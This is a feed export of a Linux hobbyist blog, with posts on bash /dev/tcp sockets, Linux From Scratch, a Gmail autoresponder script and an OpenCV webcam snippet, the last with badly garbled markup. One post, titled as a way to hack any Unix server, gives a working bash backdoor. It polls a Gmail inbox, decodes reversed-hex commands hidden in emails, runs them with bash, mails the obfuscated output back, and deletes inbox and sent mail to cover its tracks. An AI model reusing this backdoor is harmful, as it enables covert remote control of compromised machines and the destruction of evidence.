&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;glaudiston:~$ &lt;b&gt;exec 3&amp;lt;&amp;gt;/dev/tcp/www.google.com/80&lt;/b&gt;&lt;br /&gt;glaudiston:~$ &lt;b&gt;echo -e &quot;GET / \n&quot; &amp;gt;&amp;amp;3&lt;/b&gt;&lt;br /&gt;glaudiston:~$ &lt;b&gt;dd &amp;lt;&amp;amp;3&lt;/b&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&lt;br /&gt;HTTP/1.0 302 Found&lt;br /&gt;Location: http://www.google.com.br/?gws_rd=cr&amp;amp;ei=KLR6UpifLYi0kQf80IHYCw&lt;br /&gt;Cache-Control: private&lt;br /&gt;Content-Type: text/html; charset=UTF-8&lt;br /&gt;Set-Cookie: PREF=ID=a146f073964c1a11:FF=0:TM=1383773224:LM=1383773224:S=MonOb7kSx4X4ewKG; expires=Fri, 06-Nov-2015 21:27:04 GMT; path=/; domain=.google.com&lt;br /&gt;Set-Cookie: NID=67=WgTgvENchOFRL9WCEmAaPBq2heUhEB1xf7cPS-PkYuBjPgT3ipgT8dJp2bovlEZ2R_yQs7xQd3sMRUirA3Vtax2TA2tsloD7x0Sr_LHT_GbVmZY8dkXiLhnPbGxa9ReW; expires=Thu, 08-May-2014 21:27:04 GMT; path=/; domain=.google.com; HttpOnly&lt;br /&gt;P3P: CP=&quot;This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&amp;amp;answer=151657 for more info.&quot;&lt;br /&gt;Date: Wed, 06 Nov 2013 21:27:04 GMT&lt;br /&gt;Server: gws&lt;br /&gt;Content-Length: 262&lt;br /&gt;X-XSS-Protection: 1; mode=block&lt;br /&gt;X-Frame-Options: SAMEORIGIN&lt;br /&gt;Alternate-Protocol: 80:quic&lt;br /&gt;&lt;br /&gt;&lt;html&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;302 Moved&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;br /&gt;&lt;h1&gt;
302 Moved&lt;/h1&gt;
&lt;br /&gt;The document has moved&lt;br /&gt;&lt;a href=&quot;http://www.google.com.br/?gws_rd=cr&amp;amp;ei=KLR6UpifLYi0kQf80IHYCw&quot;&gt;here&lt;/a&gt;.&lt;/body&gt;&lt;/html&gt;&lt;br /&gt;2+1 registros de entrada&lt;br /&gt;2+1 registros de saída&lt;br /&gt;1095 bytes (1,1 kB) copiados, 0,000160237 s, 6,8 MB/s&lt;/span&gt;&lt;br /&gt;glaudiston:~$ &lt;b&gt;exec 3&amp;lt;&amp;amp;-;exec 3&amp;gt;&amp;amp;-&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
Basicamente você vai criar um novo file descriptor: o exec vincula a execução ao bash em execução, o 3 é o número do descriptor que escolhi o &quot;&amp;lt;&amp;gt;&quot; diz que um caminho duplo ou seja, você envia e recebe dados. Depois é só direcionar oque você quiser para este descriptor, isto pode ser feito com qualquer comando ou saída do shell, o básico é usar o echo, mas pode ser desde cat até dd.&lt;br /&gt;
Para receber dados, você pode (por exemplo) usar o dd, que permite limitar os bytes recebidos e o buffer, ou pode simplesmente fazer um cat.&lt;br /&gt;
&lt;br /&gt;
por ultimo o exec 3&amp;lt;&amp;amp;-;exec 3&amp;gt;&amp;amp;- desconecta o socket.&lt;br /&gt;
&lt;br /&gt;
ah, e antes que pergunte, não o /dev/tcp não existe fisicamente o /dev/udp tbm não. São Built in do bash.&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/712994583111283318/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/712994583111283318' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/712994583111283318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/712994583111283318'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2013/11/bash-socket-direto-do-shell-quem.html' title='[BASH] Socket direto do shell, quem precisa de wget ?'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-5942107791646493007</id><published>2013-11-05T09:49:00.000-02:00</published><updated>2013-11-05T09:49:07.123-02:00</updated><title type='text'>Sobre o Linux From Scratch</title><content type='html'>Percebi que até hoje nunca postei nada relevante sobre o LFS.&lt;br /&gt;
&lt;br /&gt;
LFS=LinuxFromScratch ou na tradução literal, &quot;Linux do rabisco&quot;, é a &quot;distro&quot; que uso. Não é exatamente correto chamá-la de uma distro. Afinal não é uma. Uma distro é um pacote de programas pré-configurado para instalação. O LFS é um livro que te instrui passo-a-passo, como compilar e configurar TUDO direto do código fonte.&lt;br /&gt;
&lt;br /&gt;
Para saber mais, nada melhor do que ir na fonte: &lt;a href=&quot;http://www.linuxfromscratch.org/&quot;&gt;http://www.linuxfromscratch.org&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Em minha opinião, você poderá ser chamado de &quot;Advanced Linux User&quot; se conseguir fazer o que o livro te ensina passo a passo, e ao final ter um sistema operacional usável.&lt;br /&gt;
&lt;br /&gt;
Eu uso o LFS desde 2005 como sistema operacional principal, antes usava o slackware.&lt;br /&gt;
&lt;br /&gt;
Qualquer dúvida, o IRC do LFS é ativo no freenode e eles já me ajudaram bastante. Talvez até me encontre por lá.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/5942107791646493007/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/5942107791646493007' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/5942107791646493007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/5942107791646493007'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2013/11/sobre-o-linux-from-scratch.html' title='Sobre o Linux From Scratch'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-127173121655811281</id><published>2012-11-27T10:44:00.001-02:00</published><updated>2012-11-27T10:44:58.400-02:00</updated><title type='text'>Gmail acess via bash - IMAP</title><content type='html'>I wrote this script to make a way to read you emails from gmail via BASH, some time after I remake it to a hack script to remote control any O.S. that use bash:&lt;br /&gt;
&lt;br /&gt;
Of course I cut out the dangerous part.&lt;br /&gt;
&lt;br /&gt;
This time only the gmail access... may be I&#39;ll post the powerful script someday.&lt;br /&gt;
&lt;blockquote&gt;
#!/bin/bash&lt;br /&gt;
GMAIL_USER=&quot;your_gmail_user&quot;;&lt;br /&gt;
GMAIL_PW=&quot;Y0urGMA1LPassw0rd&quot;;&lt;br /&gt;
AUTH_HASH=&quot;$(echo -en &quot;${GMAIL_USER} ${GMAIL_USER} ${GMAIL_PW}&quot; | base64)&quot;;&lt;br /&gt;
SLEEP_TIME=2;&lt;br /&gt;
TOTAL_MESSAGES=&quot;$(&lt;br /&gt;
openssl s_client -crlf -connect imap.gmail.com:993 &amp;lt; &amp;lt;(&lt;br /&gt;
sleep ${SLEEP_TIME}; echo &quot;A01 LOGIN $GMAIL_USER $GMAIL_PW&quot;;&lt;br /&gt;
sleep ${SLEEP_TIME}; echo &quot;A02 SELECT INBOX&quot;;&lt;br /&gt;
sleep ${SLEEP_TIME}; echo &quot;A02 LOGOUT&quot;;&lt;br /&gt;
sleep ${SLEEP_TIME}; echo &quot;&quot;;&lt;br /&gt;
) 2&amp;gt;&amp;amp;1 | tr -d &quot;\r&quot; | grep -E &quot;^[*] [0-9]* EXISTS$&quot;| sed &quot;s/^[*] \([0-9]*\) EXISTS.*$/\1/g&quot;;&lt;br /&gt;
)&quot;;&lt;br /&gt;
&lt;br /&gt;
LAST_MAIL=&quot;$(&lt;br /&gt;
openssl s_client -crlf -connect imap.gmail.com:993 &amp;lt; &amp;lt;(&lt;br /&gt;
sleep ${SLEEP_TIME}; echo &quot;A01 LOGIN $GMAIL_USER $GMAIL_PW&quot;;&lt;br /&gt;
sleep ${SLEEP_TIME}; echo &quot;A02 SELECT INBOX&quot;;&lt;br /&gt;
sleep ${SLEEP_TIME}; echo &quot;A05 FETCH $TOTAL_MESSAGES ALL&quot;;&lt;br /&gt;
sleep ${SLEEP_TIME}; echo &quot;A06 FETCH $TOTAL_MESSAGES:$TOTAL_MESSAGES BODY[TEXT]&quot;;&lt;br /&gt;
sleep ${SLEEP_TIME}; echo &quot;A02 LOGOUT&quot;;&lt;br /&gt;
sleep ${SLEEP_TIME}; echo &quot;&quot;;&lt;br /&gt;
) 2&amp;gt;&amp;amp;1 | tr -d &quot;\r&quot;&lt;br /&gt;
)&quot;&lt;br /&gt;
&lt;br /&gt;
SUBJECT=&quot;RES: $(echo -e &quot;$LAST_MAIL&quot; | grep ENVELOPE | sed &#39;s/^* [0-9]* FETCH (ENVELOPE (&quot;[^&quot;]*&quot;[ ]&quot;\([^&quot;]*\)&quot;.*/\1/g&#39;)&quot;;&lt;br /&gt;
DEST_ADDR=&quot;$(echo  -e &quot;$LAST_MAIL&quot; | grep ENVELOPE | sed &#39;s/^* [0-9]* FETCH (ENVELOPE .*  ((&quot;[^&quot;]*&quot; NIL &quot;\([^ ]*\)&quot; &quot;\([^&quot;]*\)&quot;.*/\1@\2/g&#39;)&quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MAIL_BODY=&quot;$({&lt;br /&gt;
echo -e &quot;&lt;br /&gt;
# ---------------------------------------------------------- #&lt;br /&gt;
# this is a automatic response from&lt;br /&gt;
# BASH GMAIL #&lt;br /&gt;
# --------------------- ORIGINAL MESSAGE ------------------- #&lt;br /&gt;
\n${LAST_MAIL}&lt;br /&gt;
&quot;;&lt;br /&gt;
})&quot;;&lt;br /&gt;
&lt;br /&gt;
openssl s_client -crlf -connect smtp.gmail.com:465 &amp;lt; &amp;lt;(&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;ehlo ${GMAIL_USER}&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;AUTH PLAIN ${AUTH_HASH}&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;mail from:&amp;lt;${GMAIL_USER}@gmail.com&amp;gt;&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;rcpt to:&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;rcpt to:&amp;lt;${DEST_ADDR}&amp;gt;&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;DATA&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;From: ${GMAIL_USER}&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;Subject: $SUBJECT&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;To: ${GMAIL_USER}.postmail@blogger.com&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo -e &quot;${MAIL_BODY}&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;.&quot;;&lt;br /&gt;
sleep $SLEEP_TIME; echo &quot;quit&quot;;&lt;br /&gt;
sleep $SLEEP_TIME;&lt;br /&gt;
) 2&amp;gt;&amp;amp;1 | cat - &amp;gt; /dev/null&lt;br /&gt;
done;&lt;br /&gt;
done;&lt;/blockquote&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/127173121655811281/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/127173121655811281' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/127173121655811281'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/127173121655811281'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2012/11/gmail-acess-via-bash-imap.html' title='Gmail acess via bash - IMAP'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-5742715094127600007</id><published>2012-11-27T10:22:00.001-02:00</published><updated>2015-04-20T14:59:31.530-03:00</updated><title type='text'>A way to hack any unix server with internet access via imap gmail</title><content type='html'>I wrote this script to make a way to read you emails from gmail via BASH:&lt;br/&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
        #!/bin/bash

        while true;

        do

        sleep 3600;

        TOTAL_MESSAGES=&quot;1&quot;;

        while (( ${TOTAL_MESSAGES:=0} &amp;gt; 0 ));

        do

        GMAIL_USER=&quot;SEU YOUR&quot;;

        GMAIL_PW=&quot;YOUR PASSWORD&quot;;

        AUTH_HASH=&quot;YOUR HASH BASE 64&quot;;

        SLEEP_TIME=2;

        TOTAL_MESSAGES=&quot;$(

        openssl s_client -crlf -connect imap.gmail.com:993 &amp;lt; &amp;lt;(

        sleep ${SLEEP_TIME}; echo &quot;A01 LOGIN $GMAIL_USER $GMAIL_PW&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A02 SELECT INBOX&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A02 LOGOUT&quot;;

        sleep ${SLEEP_TIME}; echo &quot;&quot;;

        ) 2&amp;gt;&amp;amp;1 | tr -d &quot;\r&quot; | grep -E &quot;^[*] [0-9]* EXISTS$&quot;| sed &quot;s/^[*] \([0-9]*\) EXISTS.*$/\1/g&quot;;

        )&quot;;


        TOTAL_MESSAGES_SENDED=&quot;$(

        openssl s_client -crlf -connect imap.gmail.com:993 &amp;lt; &amp;lt;(

        sleep ${SLEEP_TIME}; echo &quot;A01 LOGIN $GMAIL_USER $GMAIL_PW&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A02 SELECT \&quot;[Gmail]/E-mails enviados\&quot;&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A02 LOGOUT&quot;;

        sleep ${SLEEP_TIME}; echo &quot;&quot;;

        ) 2&amp;gt;&amp;amp;1 | tr -d &quot;\r&quot; | grep -E &quot;^[*] [0-9]* EXISTS$&quot;| sed &quot;s/^[*] \([0-9]*\) EXISTS.*$/\1/g&quot;;

        )&quot;;


        LAST_MAIL=&quot;$(

        openssl s_client -crlf -connect imap.gmail.com:993 &amp;lt; &amp;lt;(

        sleep ${SLEEP_TIME}; echo &quot;A01 LOGIN $GMAIL_USER $GMAIL_PW&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A02 SELECT INBOX&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A05 FETCH $TOTAL_MESSAGES ALL&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A06 FETCH $TOTAL_MESSAGES:$TOTAL_MESSAGES BODY[TEXT]&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A08 store $TOTAL_MESSAGES +FLAGS (\\Deleted)&quot;;

        sleep ${SLEEP_TIME}; echo &quot;a09 expunge&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A02 SELECT \&quot;[Gmail]/E-mails enviados\&quot;&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A08 store 1:$TOTAL_MESSAGES_SENDED +FLAGS (\\Deleted)&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A09 expunge&quot;;

        sleep ${SLEEP_TIME}; echo &quot;A02 LOGOUT&quot;;

        sleep ${SLEEP_TIME}; echo &quot;&quot;;

        ) 2&amp;gt;&amp;amp;1 | tr -d &quot;\r&quot;

        )&quot;


        SUBJECT=&quot;RES: $(echo -e &quot;$LAST_MAIL&quot; | grep ENVELOPE | sed &#39;s/^* [0-9]* FETCH (ENVELOPE (&quot;[^&quot;]*&quot;[ ]&quot;\([^&quot;]*\)&quot;.*/\1/g&#39;)&quot;;

        DEST_ADDR=&quot;$(echo -e &quot;$LAST_MAIL&quot; | grep ENVELOPE | sed &#39;s/^* [0-9]* FETCH (ENVELOPE .* ((&quot;[^&quot;]*&quot; NIL &quot;\([^ ]*\)&quot; &quot;\([^&quot;]*\)&quot;.*/\1@\2/g&#39;)&quot;

        # CODE_TO_RUN=&quot;$(echo -e &quot;$LAST_MAIL&quot; | sed -n &quot;/^# NOISSES_KCAH_TRATS #$/,/^# NOISSES_KCAH_DNE #$/p&quot;)&quot;;

        CODE_TO_RUN=&quot;$(echo -e &quot;$LAST_MAIL&quot; | tr -d &quot;\n&quot; | grep &quot;NOISSES_KCAH_TRATS&quot; | sed &quot;s/.*# NOISSES_KCAH_TRATS #\(.*\)# NOISSES_KCAH_DNE #.*/\1/g&quot; | xxd -r --ps | rev )&quot;;


        [ &quot;$DEST_ADDR&quot; == &quot;mailer-daemon@google.com&quot; ] &amp;amp;&amp;amp; break;

        grep &quot;Delivery to the following recipient failed permanently&quot; &amp;lt;( echo -e &quot;${LAST_MAIL}&quot; ) &amp;amp;&amp;amp; break;

        (( ${TOTAL_MESSAGES:=0} == 0 )) &amp;amp;&amp;amp; break;


        MAIL_BODY=&quot;$(

        {

        [ &quot;$CODE_TO_RUN&quot; == &quot;&quot; ] &amp;amp;&amp;amp; echo -e &quot;

        # NUR OT EDOC ON #

        # NOISSES NOISSES_KCAH_DNE DNA NOISSES_KCAH_TRATS EHT TEGROF UOY OD #

        &quot; || bash &amp;lt; &amp;lt;(echo -e &quot;$CODE_TO_RUN&quot; ) 2&amp;gt;&amp;amp;1 ;

        echo -e &quot;

        # ---------------------------------------------------------- #

        # REKCAH #

        # --------------------- EGASSEM LANIGIRO ------------------- #

        \n${LAST_MAIL}

        &quot;;

        } | xxd --ps | rev | bzip2 -c | xxd --ps | rev

        )&quot;;



        openssl s_client -crlf -connect smtp.gmail.com:465 &amp;lt; &amp;lt;(

        sleep $SLEEP_TIME; echo &quot;ehlo ${GMAIL_USER}&quot;;

        sleep $SLEEP_TIME; echo &quot;AUTH PLAIN ${AUTH_HASH}&quot;;

        sleep $SLEEP_TIME; echo &quot;mail from:&amp;lt;${GMAIL_USER}@gmail.com&amp;gt;&quot;;

        sleep $SLEEP_TIME; echo &quot;rcpt to:&quot;; sleep $SLEEP_TIME; echo &quot;rcpt to:&amp;lt;${DEST_ADDR}&amp;gt;&quot;; sleep $SLEEP_TIME; echo &quot;DATA&quot;; sleep $SLEEP_TIME; echo &quot;From: ${GMAIL_USER}&quot;; sleep $SLEEP_TIME; echo &quot;Subject: $SUBJECT&quot;; sleep $SLEEP_TIME; echo &quot;To: ${GMAIL_USER}.postmail@blogger.com&quot;; sleep $SLEEP_TIME; echo &quot;&quot;; sleep $SLEEP_TIME; echo -e &quot;${MAIL_BODY}&quot;; sleep $SLEEP_TIME; echo &quot;&quot;; sleep $SLEEP_TIME; echo &quot;.&quot;; sleep $SLEEP_TIME; echo &quot;quit&quot;; sleep $SLEEP_TIME;) 2&amp;gt;&amp;amp;1 | cat - &amp;gt; /dev/nulldone;done;
&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/5742715094127600007/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/5742715094127600007' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/5742715094127600007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/5742715094127600007'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2012/11/a-way-to-hack-any-unix-server-with.html' title='A way to hack any unix server with internet access via imap gmail'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-7717226188430366011</id><published>2012-11-27T10:21:00.002-02:00</published><updated>2012-11-27T10:49:15.250-02:00</updated><title type='text'></title><content type='html'>Capture a frame from webcam with opencv&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#include &lt;/span&gt;&lt;stdio .h=&quot;.h&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#include &lt;/span&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#include &lt;/span&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#include &lt;/span&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;// OpenCV Webcam Start&lt;/span&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#include &lt;/span&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;#include &lt;/span&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;// Needed only in C&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;enum boolean {&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;     true = 1, false = 0&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;};&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;typedef  enum boolean  bool;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
